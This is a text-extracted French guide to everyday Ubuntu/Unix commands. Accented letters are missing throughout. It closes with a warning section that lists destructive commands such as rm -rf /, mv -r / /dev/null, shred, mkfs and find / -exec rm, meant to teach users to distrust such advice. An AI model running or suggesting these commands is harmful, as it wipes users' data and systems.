petit_precis_des_commandes_unix_utiles_a_ubuntu

download petit_precis_des_commandes_unix_utiles_a_ubuntu

of 24

Transcript of petit_precis_des_commandes_unix_utiles_a_ubuntu

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    1/24

    Petit prcis des commandes unix

    utiles ubuntu

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    2/24

    petit prcis des commandes unix utiles ubuntu

    Les commandes de base en console

    Introduction

    La plupart des commandes prsentes ici sont documentes dans votre systme (si ce n'est pas lecas, installez les paquets1apt://manpages, manpages-fr, manpages-fr-extra), il vous suft alors detaper dans une console man commande pour avoir toutes les informations sur le fonctionnement dela commande voulue.

    l Je ne fais aucune diffrence entre les options POSIX et GNUl Il est presque toujours possible de combiner les options (exemple : ls -l -a deviendra ls -la)l Je ne prcise pas si les commandes doivent tre excutes avec des droits plus levs que ceuxdes simples utilisateursl Les mots rpertoire et dossiersont quivalents.

    Les commandes Unix de base connatre

    man

    l quivalent MS-DOS/MS Windows : helpl Signication : Page de manuell Afche les pages du manuel systme.Chaque argument donn a man est gnralement le nom d'un programme, d'un utilitaire ou d'unefonction.l Exemples d'utilisation :mman manafche les informations pour l'utilisation de man

    l 'q' pour quitter

    ls

    l quivalent MS-DOS/MS Windows : dirl Signication : list segmentl Permet de lister un rpertoirel Options les plus frquentes :m -l : Permet un afchage dtaill du rpertoire (permissions d'accs, le nombre de liensphysiques, le nom du propritaire et du groupe, la taille en octets, et l'horodatage)m-h : Associ avec -l afche la taille des chiers avec un sufxe correspondant l'unit (K, M,G)m -a : Permet l'afchage des chiers et rpertoires cachs (ceux qui commencent par un .(point))

    l Exemples d'utilisation :mls -aafche tous les chiers et rpertoires cachs du rpertoire courantmls /etc/afche le contenu du rpertoire /etc/

    2

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    3/24

    Les commandes de base en console

    mlspci ou lsusbafche les priphriques PCI ou USB connects.

    l ls en couleur2

    cd

    l quivalent MS-DOS/MS Windows : cdl Signication : change directoryl Permet de se promener dans les rpertoiresl Exemples d'utilisation :mcdpermet de revenir au rpertoire /home/utilisateur (identique cd ~)mcd -permet de revenir au rpertoire prcedentm

    cd ..permet de remonter au rpertoire parentmcd /permet de remonter la racine de l'ensemble du systme de chiersmcd /usr/bin/se place dans le rpertoire /usr/bin/

    mv

    l quivalent MS-DOS/MS Windows : move ou renl Signication : movel

    Permet de dplacer ou renommer des chiers et des rpertoiresl Options les plus frquentes :m-f: Ecrase les chiers de destination sans conrmationm-i : Demande conrmation avant d'craserm-u : N'crase pas le chier de destination si celui-ci est plus rcent

    l Exemples d'utilisation :mmv monFichier unRep/Dplace monFichierdans le rpertoire unRepmmv unRep/monFichierDplace le chier monFichierdu rpertoire unRep l o on se trouvemmv unRep monRep

    Renomme unRep en monRep

    cp

    l quivalent MS-DOS/MS Windows : copyl Signication : copyl Permet de copier des chiers ou des rpertoiresl Options les plus frquentes :m-a : Archive. Copie en gardant les droits, dates, propritaires, groupes, etc.m-i : Demande une conrmation avant d'craserm -f : Si le chier de destination existe et ne peut tre ouvert alors le dtruire et essayer

    nouveaum-r : Copie un rpertoire et tout son contenum-u : Ne copie que les chiers plus rcents ou qui n'existent pasm-v : permet de suivre les copies ralises en temps rel

    3

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    4/24

    petit prcis des commandes unix utiles ubuntu

    4

    l Exemples d'utilisation :mcp monFichier sousrep/Copie monFichierdans sousrepmcp -r monRep/ ailleurs/Copie le rpertoire monRep vers ailleurs en crant le rpertoire s'il n'existe pas.

    rm

    l quivalent MS-DOS/MS Windows : dell Signication : removel Permet d'effacer des chiersl Options les plus frquentes :m-f: Ne demande pas de conrmation avant d'effacerm-r : Efface rcursivement les chiers ainsi que les rpertoires

    l

    Exemples d'utilisation :mrm CeFichierEfface le chier CeFichiermrm -rf /tmp/LeRepEfface le rpertoire /tmp/LeRep ainsi que tous ses chiers sans demander de conrmation

    mkdir

    l quivalent MS-DOS/MS Windows : mkdir ou mdl Signication : make directoryl Cre un rpertoire videl

    Options les plus frquentes :m-p : Cre les rpertoires parents s'ils n'existent pasl Exemples d'utilisation :mmkdir photosCre le rpertoirephotosmmkdir -p photos/2005/noelCre le rpertoire noel et s'ils n'existent pas les rpertoires 2005 etphotos

    rmdir

    l quivalent MS-DOS/MS Windows : rmdir ou rdl

    Signication : remove directoryl Supprime un rpertoire (vide)l Options les plus frquentes :m-p : Supprime les rpertoires parents s'ils deviennent vides

    l Exemples d'utilisation :mrmdir LeRepSupprime le rpertoire LeRep

    top

    l Montre la charge CPU

    l Options les plus frquentes :m-u : afche les processus pour un utilisateur donn

    l Exemples d'utilisation :mtopmtop -u root

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    5/24

    Les commandes de base en console

    5

    pwd

    l quivalent MS-DOS/MS Windows : chdirl Signication :print working directoryl Afche le rpertoire en cours

    ln

    l Signication : linkl Cre un lien (physique ou symbolique) vers un chier (ou un rpertoire)l Options les plus frquentes :m-s : Cre un lien symbolique (similaire au raccourci du monde Windows)m-f: Force l'crasement du chier de destination s'il existem-d : Cre un lien sur un rpertoire (uniquement en mode sudo ou root)

    l Exemples d'utilisation :mln -s Rep1/Rep2/Monchier MonLienCre un lien symbolique MonLien de Rep1/Rep2/Monfchierdans le rpertoire o on se trouvemln Monchier unRep/AutreNomCre un lien physiqueAutreNom de Monfchierdans le rpertoire unRep

    l Notes :m Vriez que vous vous trouvez bien dans le rpertoire dans lequel vous souhaitez crer le lienavant de faire cette commande.

    nd

    l

    quivalent MS-DOS/MS Windows : ndl Signication : rechercherl Permet de chercher des chiers et ventuellement d'excuter des commandes sur ceux-ci ; la recherche est rcursive c'est--dire qu'elle concerne le rpertoire de dpart et toute sadescendance (sous-rpertoires ainsi que toute leur descendance )l Options les plus frquentes :m-name : Recherche d'un chier par son nomm-iname : Mme chose que name mais insensible la cassem-type : Recherche de chier d'un certain typem-atime : Recherche par date de dernier accsm-mtime : Recherche par date de dernire modicationm

    -link : Recherche du nombre de liens au chierm-user : Recherche de chiers appartenant l'utilisateur donnm-group : Recherche de chiers appartenant au groupe donn

    l Action les plus frquentes :m-exec : Excute la commande donne aux chier trouvsm-ok : Mme chose que exec mais demande une conrmationm-ls : excute la commande ls chaque chier trouv

    l Oprateurs les plus frquents :m-a : Oprateur ETm-o : Oprateur OUm! ou -not : Oprateur NOT

    l

    Exemples d'utilisation :

    simple

    Placez-vous dans le rpertoire partir duquel la recherche rcursive doit tre effectue et faites :

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    6/24

    petit prcis des commandes unix utiles ubuntu

    6

    l nd monchier*Recherche un chier commenant par "monchier"l nd *monchier*.oggRecherche un chier contenant "monchier" et ayant pour extention ".ogg"

    avanc

    lnd /home/ -name monchierRecherche le chier monfchierdans toute la descendance de /home/lnd . -name "*.c"Recherche tous les chiers ayant une extension .clnd . -mtime -5Recherche les chiers du rpertoire courant qui ont t modis entre maintenant et il y a 5joursl

    nd /home/ -mtime -1 \! -type dRecherche uniquement les chiers (! -type dsignie n'tait pas un rpertoire) ayant t modisces dernires 24hlnd . ! -user rootAfche tous les chiers n'appartenant pas l'utilisateur rootlnd . \( -name '*.wmv' -o -name '*.wma' \) -exec rm {} \;Recherche et supprime tous les chiers WMA et WMV trouvsl Autres exemples sur http://ardchoille42.blogspot.com/2009/08/nding-les-via-comand-line.html

    grep

    l quivalent MS-DOS/MS Windows : ndl Signication :global regular expression printl Recherche une chane de caractres dans des chiers (ou depuis la console si aucun chier n'estindiqu) ; Souvent utilis en ltre avec d'autres commandes.l Options les plus frquentes :m-c : Retourne le nombre de lignes au lieu des lignes elles mmesm-n : Retourne les lignes prxes par leur numrom-i : Insensible la cassem-r : Recherche rcursivement dans tous les sous-rpertoires ; On peut utiliser la commandergrepm

    -G : Recherche en utilisant une expression relationnelle basique (option par dfaut)m-E : Recherche en utilisant une expression relationnelle tendue ; On peut utiliser la commandeegrepm-F : Recherche en utilisant une chane xe ; On peut utiliser la commande fgrep

    l Exemples d'utilisation :mgrep -n montexte monchierRetourne toutes les lignes ainsi que leur numro ou montexte apparait dans monfchier

    locate

    Son utilisation - trs simple - est dtaille ici : http://doc.ubuntu-fr.org/recherche_ligne_

    commande

    cat

    l quivalent MS-DOS/MS Windows : type

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    7/24

    Les commandes de base en console

    7

    l Signication : concatenatel Afche le contenu d'un chierl Options les plus frquentes :m-n : Afche les numros de lignem-v : Afche les caractres de contrles

    l Exemple d'utilisation :mcat -n monFichierAfche monFichieren numrotant les lignes partir de 1

    more

    l quivalent MS-DOS/MS Windows : typel Signication : morel Afche un chier page par pagel

    Options les plus frquentes :m-s : Regroupe les lignes vides conscutives en une seulem-f: Ne coupe pas les lignes longues

    l Exemple d'utilisation :mmore -sf monFichierAfche monFichier page par page en concatnant les lignes vides sans compter les ligneslongues.

    less

    l quivalent MS-DOS/MS Windows : typel

    Signication : lessl Afche un chier page par pagel Options les plus frquentes :m-e ou -E : Quitte automatiquement la deuxime fois que la n du chier est atteinte, ou dsla premire fois avec -E.m-F : Quitte automatiquement si le chier tient sur le terminal.m-m ou -M : Prompt long a la more.m-r ou -R: Autorise les caractres spciaux.m-x : Rgle la taille des tabulations.m-~ : ne comble pas les lignes vides par des ~

    l Exemple d'utilisation :m

    less -Emr~ monFichierAfche monFichierpage par page avec un prompt long (afchage du pourcentage du chierparcouru) en afchant les caractres spciaux sans combler les lignes vides par des ~

    Les commandes systme

    chmod

    l quivalent MS-DOS/MS Windows : caclsl Signication : change model

    Modie les permissions d'accs un chier ou un rpertoire.Type d'autorisations (une autorisation d'excution sur un rpertoire autorise son ouverture) :m+ : Ajoute une permissionm- : Enlve une permissionm= : Autorise uniquement l'autorisation indique

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    8/24

    petit prcis des commandes unix utiles ubuntu

    8

    mr : Lecture ; Valeur octale 4mw : Ecriture ; Valeur octale 2mx : Execution ; Valeur octale 1ms : Utilise les droits du propritaire ou du groupe lors de l'excutionmu : Propritaire du chiermg : Groupe propritaire du chiermo : Tous les autres utilisateurs

    l Options les plus frquentes :m-R: Rcursif, modie les autorisation d'un rpertoire et tout ce qu'il contientm-c : Ne montrer que les chiers ayant t rellement modism-f: Ne pas afcher les messages d'erreur

    l Exemples d'utilisation :mchmod ugo+x monRepAjoute l'excution (ouverture) du rpertoire monRep tous (propritaire, groupe, autres)m

    chmod go-wx monRepSupprime l'autorisation de lecture et d'criture de monRep au groupe et aux autresmchmod u=rw,go=r MonFichierFixe l'autorisation de lecture et d'criture au propritaire de MonFichieret une autorisation delecture au groupe et aux autres.m chmod 644 MonFichierExactement la mme chose que ci-dessus mais en utilisant les valeurs octales (Nota : 6 = 4+2 =lecture + criture)mchmod u=rw,g=r,o= MonFichierFixe l'autorisation d'ouverture et de lecture de MonFichierau propritaire, uniquement la lectureau groupe et interdit tout accs aux autres.m

    chmod 640 MonFichierExactement la mme chose que ci-dessus mais en utilisant les valeurs octales

    chown

    l quivalent MS-DOS/MS Windows : caclsl Signication : change ownerl Change le propritaire et le groupe propritaire d'un chierl Options les plus frquentes :m-R: Modie rcursivement un rpertoire et tout ce qu'il contient

    l Exemples d'utilisation :m

    chown autreUtilisateur MonFichierChange le propritaire de MonFichieren autreUtilisateurmchown -R lui:nous monRepChange le propritaire en lui et le groupe propritaire en nous du rpertoire monRep ainsi quetout ce qu'il contient

    chgrp

    l Signication : change groupel Change le groupe propritaire d'un chierl Options les plus frquentes :

    m-R: Change rcursivement un rpertoire et tout ce qu'il contientm-h : Change le groupe propritaire d'un lien symbolique et seulement lui (ne touche pas ladestination du lien)m-L : Si fournie avec R, change le groupe propritaire d'un rpertoire et des chiers qu'il contients'il est point par un lien symbolique rencontr lors de l'excution

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    9/24

    Les commandes de base en console

    9

    l Exemples d'utilisation :mchgrp unGroupe MonFichierChange le groupe propritaire du chier MonFichieren unGroupemchgrp -R unGroupe monRepChange le groupe propritaire du rpertoire monRep ainsi que tout ce qu'il contient enunGroupe

    free

    l Signication : mmoire librel Afche la mmoire disponible / utilise du systmel Options les plus frquentes :m-b : Afche la mmoire en bytesm-k : Afche la mmoire en kilo octetm

    -m : Afche la mmoire en mga octetm-g : Afche la mmoire en giga octetm-s : Spcie le dlai de rafchage de la mmoirem-t : Afche la ligne des totaux

    l Exemples d'utilisation :mfree -m -s 5Afche la mmoire du systme en mga octet toutes les 5 secondes

    mount

    l Signication : mountl

    Monter un systme de chiersl Options les plus frquentes :m-a : Monter tous les systmes de chier dclars dans le chier /etc/fstabm-t : Prcise le type de chier monterm-o : Ajouter une option. Options adjointe -o les plus frquentes :mauto : Permet d'tre mont par -amasync : Les entres/sorties sur le systme de chiers seront asynchronesmdefaults : Utilise les options rw, suid, dev, exec, auto, nouser, et async.mdev : Interprte les chiers spciaux de priphriques du systme prsent dans /dev/mexec : Permet l'excution de chiers binaires du systme montmnoauto : Empche d'tre mont avec -am

    nodev : Ne pas interprter les chiers spciaux de priphriques du systmemnoexec : Empche l'excution de chiers binaires du systme montmnouser : Ne pas autoriser d'autres utilisateurs que root (ou sudo) monter le systme dechiers (comportement par dfaut)mro : Monte le systme en lecture seulemrw : Monte le systme en lecture et crituremsuid : Prend en compte les bits SetUID ou SetGID du systme montmuser : Permet aux utilisateurs ordinaires monter et dmonter le systme de chiers (impliquenoexec, nosuid, et nodev sauf si surcharges)

    l Exemples d'utilisation :mmount

    Liste tous les systmes de chiers actuellement montsmmount -aMonte tous les systmes de chiers dclars dans le chier /etc/fstabmmount /mnt/maPartionMonte le systme de chiers ad-hoc dclars dans le chier /etc/fstab

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    10/24

    petit prcis des commandes unix utiles ubuntu

    10

    mmount -t iso9660 monFichier.iso /mnt/monIso -o loopMonte dans unpriphrique boucle (loop) le chier iso monFichier.iso dans le rpertoire /mnt/monIsommount -t vfat -o defaults,rw,user,umask=022,uid=1000 /dev/sda1 /mnt/Mondisk/Monte un disque dur USB (/dev/sda1) format en FAT32 (-t vfat) en lecture criture (rw) dans lerpertoire /mnt/Mondisk/ ; tous les utilisateurs peuvent le dmonter (user), les droits d'excution(uid=1000) sont xs l'utilisateur ayant l'UID 1000 (sous Ubuntu, l'uid 1000 correspond aupremier utilisateur cr) et la cration d'un chier s'effectuera avec les permissions 644 (rw-r---r) et pour un rpertoire 755 (rwxr-xr-x) (umask 022)

    l Ressource :m A lire aussi mount_fstab3

    umount

    l Signication : unmoutl Dmonte un systme de chiersl Options les plus frquentes :m-a : Dmonte tous les systmes de chiers prsents dans /etc/mtabm-d : Si le systme mont est un priphrique loop, librer le priphrique.m-f: Forcer le dmontagem-r : Si impossible de dmonter, monter en lecture seule

    l Exemples d'utilisation :mumount /mnt/MondiskDmonte le systme de chiers mont dans /mnt/Mondiskmumount -f /dev/cdromForce le dmontage du priphrique CDROMmumount -d /mnt/monIsoDmonte et libre le priphrique loopmumount -aDmonte tous les systmes de chiers monts ( l'exception de /proc) ; ne sert que lorsque l'onveut redmarrer ou teindre sa machine manuellement et proprement.

    sudo

    l quivalent MS-DOS/MS Windows : runasl Signication : super user - dol Permet d'excuter des commandes en tant qu'un autre utilisateur, donc avec d'autres privilgesque les siens.l Options les plus frquentes :m-s : Importe les variables d'environnement du shellm-k : Lorsque l'on utilise sudo, il garde en mmoire le mot de passe ; cette option dconnectel'utilisateur et forcera redemander un mot de passe si sudo est excut avant le timeoutdni.

    l Exemples d'utilisation :m$ sudo rebootLance la commande reboot avec les droits de l'utilisateur root

    l

    Ressources :m http://doc.ubuntu-fr.org/sudom Site ofciel de sudo : http://www.courtesan.com/sudo/m Voir aussi la commande visudo

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    11/24

    Les commandes de base en console

    11

    ps

    l quivalent MS-DOS/MS Windows : tasklistl Signication :processes snapshotl Afche les processus en coursl Options les plus frquentes :m-u : Afche les processus de l'utilisateur qui excute la commandem-au : Afche les processus de tous les utilisateursm-aux : Afche l'intgralit des processus du systme. quivalent ps -Am -faux : Afche tous les processus du systme en les regroupant par enchanementd'excution.

    l Exemples d'utilisation :mps -uTous les processus de l'utilisateur courantm

    ps -auxTous les processus en cours

    kill / killall

    l quivalent MS-DOS/MS Windows : taskkilll Signication : kill / kill all [tuer/tuer tous]l Permet d'envoyer un signal un processus ; kill ne comprend que les PID (Process Identier,numro d'ordre du processus), killall quant lui comprend le nom du processus.l Options les plus frquentes :m-s : Indique quel signal s envoyer au processus ; Le signal peut tre identi soit par son nom

    (exemple : SIGTERM) soit par son numro (exemple : 9) ; Cette option peut tre remplace parle numro du signal : -s 9 est quivalent -9.m-l : Afche la liste des signaux connus.

    l Les signaux les plus courants sont :HUP signal 1 : signal de n dexcution ou le processus doit relire son chier de conguration.TERM signal 15 : Le signal Terminate indique un processus quil doit sarrter.KILL signal 9 : Le signal Kill indique au systme quil doit arrter un processus qui ne rpondplus.l Exemples d'utilisation :mkill -15 14774 : Envoie le signal 15, ou TERM, au processus ayant le numro 14774 ce qui a poureffet de terminerproprement le processus.m

    kill -9 7804 : Envoie le signal 9, ou KILL, au processus ayant le numro 7804 ce qui a pour effetde tuer le processus.mkillall -TERM refox-bin : Envoie le signal TERM, ou 15, au processus refox-bin ce qui a poureffet de le fermer.

    l Il est conseill de lancer des signaux de faible importance avant de lancer la grosse artillerie. Enpratique, tester dans l'ordre et deux fois chacune de ces commandes :l a ne marche pas ? Deux possibilits, diagnosticable laide de la commande ps aux|grepnom_du_process :m Le processus est devenu zombie . Dans ce cas, la commande prcdente afche un Z.Pour le tuer, il faut tuer ou redmarrer son processus parent, que lon peut dterminer avec lacommande ps -efou ps afx.

    m Le processus est ininterruptible (il apparat comme D avec la commande prcdente), bloqusur une opration dentre/sortie (I/O), vraisemblablement suite un bug dans un pilote matriel.Dans ce cas, aucune issue : la politique des dveloppeurs du noyau linux est de considrerquavoir la main sur ce type de processus compromettrait trop profondment la stabilit dusystme. Cest lun des rares cas o lon a pas dautre choix que de redmarrer lordinateur.

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    12/24

    petit prcis des commandes unix utiles ubuntu

    12

    passwd

    l Signication :passwordl Permet de modier le mot de passe dun utilisateurl Options les plus frquentes :m-S : Afche ltat dun compte (nom du compte, bloqu (L), si lutilisateur na pas de mot depasse (NP) ou a un mot de passe utilisable (P), date de dernire modication du mot de passe,dure minimum avant modication, dure maximum de validit, dure davertissement, duredinactivit autorise)A moins dtre adminsitrateur systme ou rseau (auquel cas pourquoi lisez-vous ces lignes ;-) ?)cette commande sutilise gnralement sans option.

    l Exemple dutilisation :mpasswd

    Demande changer le mot de passegroups

    l Signication :groupsl Afche les groupes auxquels appartient un utilisateurl Exemples dutilisation :mgroupsAfche la liste des groupes auxquels appartient lutilisateur ayant tap la commande.mgroups CyberSDFAfche tous les groupes auxquels appartient lutilisateur CyberSDF.

    adduser

    l Signication : add userl Ajoute un utilisateur, ou un groupe, au systme.l Options les plus frquentes :mdisabled-login : Empche lutilisateur de se connecter.m disabled-password : Un peu comme disabled-login sauf quil est possible de seconnecter via une cl RSA SSH, pratique pour crer un utilisateur qui ne se connectera que viaSSH.msystem : Cre un utilisateur systme.m

    group : Avec system cre un groupe avec le mme ID que lutilisateur systme, sans ungroupe avec le nom donn sera crmhome : Permet de xer le rpertoire HOME de lutilisateur.mno-create-home : Ne cre pas de rpertoire HOME.

    l Exemples dutilisation :madduser CyberSDFCre lutilisateur CyberSDFmadduser disabled-password no-create-home CyberSSHCre un utilisateur CyberSSH sans mot de passe qui ne pourra pas se connecter directement surla machine et sans lui crer de rpertoire home.madduser disabled-password home /home/CyberSDF CyberSDF

    Mme chose quau dessus sauf quon lui donne le mme rpertoire HOME qu lutilisateurCyberSDF cr en premier.

    deluser

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    13/24

    Les commandes de base en console

    13

    l Signication : delete userl Supprime un utilisateur du systme.l Option la plus frquente :msystem : Ne supprime lutilisateur que si cest un utilisateur systme.mremove-home : Supprime lutilisateur ainsi que son rpertoire dans le home.

    l Exemple dutilisation :mdeluser CyberSSHSupprime lutilisateur CyberSSHmdeluser remove-home bobSupprime lutilisateur bob ainsi que le rpertoire /home/bob

    usermod

    l Signication : user modifcationl

    Modie le groupe dappartenance dun utilisateur.l Options les plus frquentes :m-G, groups GROUPE1[,GROUPE2,[,GROUPEN]]] : Ajouter lutilisateur aux groupes prcdents.Si lutilisateur fait actuellement partie dun groupe qui nest pas list, lutilisateur sera supprimdu groupe. Ce comportement peut tre chang avec loption -a, qui permet dajouter lutilisateur une liste de groupes supplmentaires.

    l Exemples dutilisation :musermod -aG toto machinAjoute lutilisateur machin au groupe toto sans supprimer machin de son groupe originel.msudo usermod -d /home/nouveau_login -m -l nouveau_login ancien_loginPermet de renommer le rpertoire (dossier) utilisateur et de changer son nom. Pratique lorsque

    le pc change de mains.

    df

    l Signication : disk freel Afche la quantit despace disque utilis par les systmes de chiers.l Options les plus frquentes :m-a : Afche tous les systmes de chiers, y compris ceux de 0 blocs (par exemple : proc, sysfs,usbfs et tmpfs)m-h : Ajoute aux valeur un M pour mbioctet (2^20 octets) pour que ce soit plus lisible.m-H : Pareil que -h mais en mgaoctets (10^6 octets).m-T : Afche le type du systme de chier.

    l Exemples dutilisation :mdf -hAfche la quantit despace disque utilis en mbioctets par les systmes de chiers.mdf /homeAfche la quantit despace disque utilis par la partition /home (si elle existe)mdf -T -hAfchage le nom des partitions et leur point de montage.

    fdisk

    l quivalent MS-DOS/MS Windows : fdiskl Signication : infos disquesl Afche les infos des disquesl Options les plus frqentes :m-l Informations dtailles des disques

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    14/24

    petit prcis des commandes unix utiles ubuntu

    14

    l Exemples dutilisationmsudo fdisk -l

    du

    l quivalent MS-DOS/MS Windows : dirl Signication : directory usagel Afche lespace disque utilis par rpertoiresl Options les plus frquentes :m-a : Afcher pour tous les chiers et pas uniquement les rpertoires.m-c : Faire un total aprs avoir tout afch.m-h : Ajoute un sufxe correspondant lunit (K, M, G)m-H : Idem que -h mais en puissance de 10

    l Exemple dutilisation :m

    du -ch /home/CyberSDFAfche la taille des rpertoires contenus dans /home/CyberSDFen utilisant un sufxe puis letotal.

    uptime

    l Signication : uptimel Indique depuis quand le systme fonctionne.l Exemples dutilisation :

    muptimeAfche lheure actuelle, la dure depuis laquelle le systme fonctionne, le nombre dutilisateursactuellement connects, et la charge systme moyenne ; Commande de geek par excellence :-)qui ne sert pas grand chose pour un utilisateur lambda, mais utile pour un administrateur.

    lspci

    l Signication : list pcil Liste tous les priphriques PCIl Option la plus frquente :m-v : Afche des informations plus dtailles

    l Exemples dutilisation :mlspci

    lsusb

    l Signication : list usbl Liste tous les priphriques USBl Option la plus frquente :m-v : Afche des informations plus dtailles

    l Exemples dutilisation :mlsusb

    kill pid (envoie le signal 15, TERM)

    kill -INT pid (envoie le signal 2, INT)kill -KILL pid (envoie le signal 9, KILL)

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    15/24

    Les commandes de base en console

    15

    uname

    l Signication : unix namel Afche des informations sur le systme.l Options les plus frquentes :m-s : Afche le nom du noyau.m-n : Afche le nom de la machine (hostname).m-r : Afche la rvision du noyaum-v : Afche la version du noyaum-m : Afche le type de processeur de la machine (i386, i686, etc.)m-o : Afche le nom du systme dexploitationm-a : Afcher les informations en utilisant les options -snrvmo

    l Exemple dutilisation :muname -a

    Afche tout.apt-get

    l Signication : avanced package tool - getl Permet linstallation et le retrait de packages en tenant compte des dpendances ainsi que letlchargement des packages sils sont sur une source rseau.l Commandes les plus frquentes :mupdate : Met jour la liste des packages disponibles en fonction des sources fournies.mupgrade : Met jour tous les packages dj installs.m dist-upgrade : Pareil que prcdent mais permet galement de passer une version n+1

    simplement de la distributionminstall : Installe un ou plusieurs packages.mremove : Supprime un ou plusieurs packages.mclean : Efface du disque dur les packages tlchargs.

    l Options les plus frquentes :m -f : Utilise avec install ou remove cette option permet de rparer un systme dont lesdpendances sont dfectueuses.m-m : Ignore les paquets manquants (a viter si on ne sait pas exactement ce que lon fait).m-s : Fait une simulation des actions mener sans rien toucher au systme.m-y : Rpond automatiquement oui toutes les questions.m-u : Afche les paquets mis jour.m

    purge : A utiliser conjointement avec remove pour supprimer tout ce qui peut ltre (chiersde conguration par exemple).mreinstall : Rinstaller les paquets avec leur version plus rcente.

    l Exemples dutilisation :mapt-get updateMet jour la liste de packages.mapt-get upgradeMet jour tous les packages installs.mapt-get install package1 package2Installe package1 et package2.mapt-get purge remove package3

    Supprime package3 ainsi que tous les chiers de conguration.l Ressources :m http://doc.ubuntu-fr.org/aptm Chez Debian le APT HOWTO4

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    16/24

    petit prcis des commandes unix utiles ubuntu

    16

    apt-cache

    l Signication : avanced package tool - cachel Gestion des paquets et manipulation du cache par APTl Commandes les plus frquentes :mshow : Afche les informations associes au paquet.msearch : Recherche lexpression rgulire donne sur tous les paquets disponibles.mdepends : Afche les paquets dpendants du paquet donn.mrdepends : Afche les paquets qui ont en dpendance le paquet donn.mmadison : Afche le dpt dans lequel se trouve le paquet donn.

    l Options les plus frquentes :m-f: Afche tous les champs dinformation.m-n : Ne recherche que dans les noms des paquets.

    l Exemples dutilisation :m

    apt-cache show xeyesAfche les informations associe au paquet xeyes.mapt-cache depends ubuntu-desktopAfche toutes les dpendances du paquet ubuntu-desktop.mapt-cache rdepends gnome-aboutAfche tous les paquets dont dpend le paquet gnome-about.mapt-cache search -n ircRecherche et afche tous les paquets ayant dans leur nom ircmapt-cache madison w32codecsIndique le dpt fournissant le paquet w32codecs

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    17/24

    Les commandes de base en console

    17

    Les commandes dangereuses

    La ligne de commande est un outil puissant, et notamment trs pratique pour dtecter ou rsoudreles problmes : il en est donc souvent fait usage sur le forum ou dans la documentation. Cependant,certains utilisateurs malveillants peuvent donner des commandes dangereuses qui corrompent, voiredtruisent le systme, ou les donnes. Lexcution dune commande ncessite donc toujours la plusgrande prudence (utiliser la commande man, recherche sur Google, attente dun deuxime avis,etc.). titre dexemple et dans un but ducatif, an de montrer quil convient toujours de se mer,voil quelques commandes dangereuses.

    Attention, ces commandes sont dangereuses, ne les excutez pas !

    Cette liste est loin dtre exhaustive, mais devrait vous donner un aperu de ce que les gens peuventessayer de vous inciter faire. Souvenez-vous que cela peut tre dissimul dans une commande oumasqu dans le cadre dune procdure longue.

    Les QUELQUE_CHOSE, QUELQUE_COMMANDE et QUELQUE_CHOSE_IMPORTANT indiqus dans

    les commandes pouvant tre remplacs par nimporte quelle chane de caractres.

    Suppression de tous les chiers ou des chiers du rpertoire

    actuel ou de chiers importants

    Sous linux avec un terminal on peut tout faire, absolument tout. Donc lisez bien ceci : Le danger deces commandes est tout fait vident :

    Rgle n 1 : NE JAMAIS VALIDER UNE COMMANDE QUI POURRAIT VOUS FAIRE PERDRE VOS DONNEESET VOTRE SYSTEME.

    En cas de doute, nhsitez pas faire une sauvegarde de vos donnes sur un support externe telquune clef USB, un disque dur USB, ou un CD/DVD enregistrable, et vrier que la sauvegarde fonctionn.

    Celles qui peuvent tout effacer (chier systme ou donnes personnelles) :

    rm -rf /

    rm -rf .

    rm -rf *

    mv QUELQUE_CHOSE /dev/null

    shred QUELQUE_CHOSE

    QUELQUE_COMMANDE > QUELQUE_CHOSE_IMPORTANT

    sed QUELQUE_CHOSE -i QUELQUE_CHOSEmv -r / /dev/null (Dplace les chiers de faon rcursive depuis la racine

    vers null = tout est effac).

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    18/24

    petit prcis des commandes unix utiles ubuntu

    18

    la commande

    est aussi redoutable : elle redirige du rien en crasant les chiers.

    ainsi que toutes les variantes commenant par rm et mv et se terminant par /dev/nullPourquoi ?

    l rm est la commande de suppression des chiers sous Gnu-Linux, rm quelque chose supprimera cequelque chose, imaginez que vous supprimez tous vos chiers systme ( racine / ) , ou vos chierpersonnels ( /home/ chiers*

    rm -i

    mv ~/.local/share/Trash/les

    Exemple :

    Suppression du chier labrador.jpeg (une image) au lieu dexcuter

    Entrez plutt :

    rm labrador.jpeg

    Un doute ? Posez vos questions sur le forum : http://forum.ubuntu-fr.org

    Rgle n 2 : NE JAMAIS ou du moins LE MOINS POSSIBLE OUVRIR NAUTILUS (LE GESTIONNAIREDE FICHIERS) EN MODE SUPER UTILISATEUR (ROOT) VOUS POURRIEZ PERDRE VOS DONNES ETENDOMMAGER VOTRE SYSTME.

    rm -i labrador.jpeg

    mv labrador.jpeg ~/.local/share/Trash/les

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    19/24

    Les commandes dangereuses

    19

    Rendez-vous sur http://doc.ubuntu-fr.org/nautilus#ouvrir_un_chier_en_tant_qu_administrateurpour voir la commande avec une astuce en prime !!

    l La commande nd peut aussi tre dangereuse, avec son paramtre -exec qui permet dexcuterune commande sur le rsultat dune recherche.

    Par exemple, la commande suivante est trs dangereuse : elle provoque la suppressions de tous leschiers.

    De mme pour rm qui est utilis.

    Re-formatage

    Les donnes sur le priphrique mentionn aprs la commande mkfs seront dtruites et remplacespar un systme de chier vide :

    sudo nd / -name * -exec rm {} \;

    Manipulation de priphriques de stockage

    crit des donnes sur le priphrique et peut entraner la perte totale des donnes :

    mkfs

